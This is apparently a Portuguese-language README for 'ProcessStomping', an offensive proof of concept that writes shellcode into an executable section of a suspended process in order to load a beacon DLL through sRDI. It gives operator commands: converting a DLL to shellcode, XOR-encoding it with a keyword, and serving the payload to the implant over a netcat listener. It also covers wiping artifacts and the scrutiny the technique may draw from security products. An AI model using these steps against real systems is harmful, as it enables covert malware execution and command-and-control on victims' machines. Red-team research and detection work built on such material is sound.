
Uma variação do ProcessOverwriting para executar shellcode na seção de um executável
Uma variação do ProcessOverwriting para executar shellcode em uma seção de um executável
Para uma explicação mais detalhada, você pode ler meu post no blog
Process Stomping é uma variação do Process Overwriting do hasherezade e tem a vantagem de escrever um payload de shellcode em uma seção alvo em vez de escrever um payload PE inteiro sobre o espaço de endereço do processo hospedeiro.
Estas são as principais etapas da técnica ProcessStomping:
Como exemplo de aplicação da técnica, o PoC pode ser usado com sRDI para carregar uma DLL de beacon sobre uma seção RWX de um executável. A imagem a seguir descreve as etapas envolvidas.

Todas as informações e conteúdos são fornecidos apenas para fins educacionais. Siga as instruções por sua conta e risco. Nem o autor nem seu empregador são responsáveis por quaisquer danos diretos ou consequenciais ou perdas decorrentes de qualquer pessoa ou organização.
Este trabalho foi possível graças ao conhecimento e às ferramentas compartilhados por Aleksandra Doniec @hasherezade e Nick Landers.
Selecione seu processo alvo e modifique as variáveis globais de acordo no ProcessStomping.cpp.
Compile o projeto sRDI certificando-se de que o offset seja suficiente para pular sobre o blob de shellcode sRDI gerado e então atualize as ferramentas sRDI:
cd \sRDI-master
python .\lib\Python\EncodeBlobs.py .\
Gere um payload de DLL sem loader reflexivo de sua escolha e então gere o blob de shellcode sRDI:
python .\lib\Python\ConvertToShellcode.py -b -f "changethedefault" .\noRLx86.dll
O blob de shellcode pode então ser submetido a XOR com uma palavra-chave e baixado usando um socket simples
python xor.py noRLx86.bin noRLx86_enc.bin Bangarang
Entregue o blob submetido a XOR na conexão
nc -vv -l -k -p 8000 -w 30 < noRLx86_enc.bin
O blob sRDI será apagado após a execução para remover artefatos desnecessários.
https://github.com/naksyn/ProcessStomping/assets/59816245/8d9e1ac2-b47c-41d5-9f0e-1b3fee14ba50
Para executar esta técnica com sucesso, você deve selecionar o processo alvo correto e usar um payload de DLL que não venha com um loader reflexivo definido pelo usuário.
A técnica Process Stomping exige iniciar o processo alvo em estado suspenso, alterar o ponto de entrada da thread e, em seguida, retomar a thread para executar o shellcode injetado. Essas são operações que podem ser consideradas suspeitas se realizadas em rápida sucessão e podem levar a um escrutínio maior por algumas soluções de segurança.